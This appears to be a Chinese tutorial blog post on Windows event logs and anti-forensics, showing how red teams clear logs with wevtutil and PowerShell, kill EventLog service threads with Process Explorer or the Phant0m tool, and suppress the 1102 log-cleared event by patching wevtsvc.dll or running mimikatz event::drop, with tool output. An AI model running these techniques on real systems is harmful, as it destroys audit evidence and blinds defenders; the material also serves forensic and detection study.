打开事件检视器(Event Viewer)会看到许多种事件记录,这些事件记录档案预设存放在 C:\Windows\System32\winevt\Logs
。事件日志对於蓝队而言是个能够知道这台机器做了哪些事情,而判断出红队入侵的行为与证据;对於红队而言则是希望能够在渗透时隐藏踪迹,不被发现。
在安全性(Security)日志档,大家可能会注意到例如 4624、4625、4720 等等事件 ID,分别代表帐户已成功登入、帐户无法登入、已建立使用者帐户。这些常见的事件 ID 对监识人员来说肯定非常熟悉,其中这篇的主角 1102 稽核记录已清除更是家喻户晓。
一般清除事件日志的方法很多,这边举简单的三个。
在 Event Viewer 的右边栏位有个清除记录档,按下去就删除了。
除了用来清除日志之外,还有列举、查看日志等等功能。
el | enum-logs List log names.
gl | get-log Get log configuration information.
sl | set-log Modify configuration of a log.
ep | enum-publishers List event publishers.
gp | get-publisher Get publisher configuration information.
im | install-manifest Install event publishers and logs from manifest.
um | uninstall-manifest Uninstall event publishers and logs from manifest.
qe | query-events Query events from a log or log file.
gli | get-log-info Get log status information.
epl | export-log Export a log.
al | archive-log Archive an exported log.
cl | clear-log Clear a log.
假设要删除安全性日志,指令如下。
# wevtutil.exe cl security
在 Powershell 使用 Clear-EventLog 指令也可以清除日志
# Clear-EventLog security
Windows 事件日志的服务可以对应到 EventLog 服务的 svchost.exe,也就是说只要关闭这个服务,就不会有事件被记录。可以使用 Powershell 的 Get-WmiObject 指令找出目标 EventLog 服务。
# Get-WmiObject -Class win32_service -Filter "name = 'eventlog'"
ExitCode : 0
Name : EventLog
ProcessId : 6832
StartMode : Auto
State : Running
Status : OK
然後用 Process Explorer 打开这个 Process,按下上面的 Threads,可以看到这个 Process 目前正在跑的 Thread,其中有四个服务名称是 EventLog,把它们全都 Kill 或 Suspend,就成功停止事件记录了。
net start eventlog
重启服务开源工具 Phant0m,编译之後执行就会把 EventLog 服务对应的 Thread 关闭。
# phant0m-exe.exe
___ _ _ _ _ _ _____ __ __ __
| _ \ || | /_\ | \| |_ _/ \| \/ |
| _/ __ |/ _ \| .` | | || () | |\/| |
|_| |_||_/_/ \_\_|\_| |_| \__/|_| |_|
Version: 2.0
Author: Halil Dalabasmaz
WWW: artofpwn.com
Twitter: @hlldz
Github: @hlldz
[+] Process Integrity Level is high, continuing...
[!] SeDebugPrivilege is not enabled, trying to enable...
[+] SeDebugPrivilege is enabled, continuing...
[*] Attempting to detect PID from Service Manager...
[+] Event Log service PID detected as 6768.
[*] Using Technique-1 for killing threads...
[+] Thread 752 is detected and successfully killed.
[+] Thread 5068 is detected and successfully killed.
[+] Thread 5224 is detected and successfully killed.
[+] Thread 6680 is detected and successfully killed.
[*] All done.
虽然成功关闭了 EventLog 服务,但是大家会发现如果在机器上清除日志,1102 事件仍然会存在,就算再清除一次还是会更新。
所以要找到方法删掉这个事件,得要知道这个事件是如何产生的。
从 EventLog 的设定 Registry Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog
可以发现,其中使用了 wevtsvc.dll。因此可以分析 wevtsvc.dll 来确认 1102 事件的出现原因。
分析 Wevtsvc.dll 会发现,在 Channel::ClearChannelLog
函数,这个函数就是负责处理 1102 事件的函数。其中又呼叫了 Channel::FireEventIntoLog
函数。
直接拿 x64dbg 跑,Patch Channel::FireEventIntoLog
,就会发现不会再产生 1102 事件了。除了 Channel::FireEventIntoLog
函数外,其实还可以 Patch Channel::ActualProcessEvent
、File::ActualWriteRecord
、File::WriteOneEventToBuffer
、FilterChannel::Indicate
、FilterChannel::ForwardToClients
、FilterConsumer::ForwardToClient
等等都可以达到同个效果。
Patch 之後再清除一次日志,就会发现日志清洁溜溜了。
Mimikatz 也有实作这个功能,原理是先透过 Pattern 找到 Channel::ActualProcessEvent
函数,并且把 Channel::ActualProcessEvent
的第一个 Byte 改写成 ret
,机械码为 c3
。以下示范使用方法。
# mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Dec 3 2020 12:23:47
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # PRIVILEGE::Debug
Privilege '20' OK
mimikatz # event::drop
"EventLog" service patched
<<: Day27|在 GitHub 上建立专案与使用 git push 指令将档案上传到 GitHub
什麽是DNS DNS全称Domain Name System,它将 ithelp.ithome.co...
这篇应该是这次铁人赛中最後一次的’纯’爬虫啦!总之就是一而再、再而三地重复练习,使我能够更加熟悉爬虫...
资料准备 啊以为第二天开始就是程序码喔,NONONO,要接入金融机构的系统,不是任何人都能直接跑进去...
上篇説到传统函式This指向基本原则:呼叫时前面的物件是谁,和怎麽定义无关,但箭头函式的This指向...
“It's only because of their stupidity that they'r...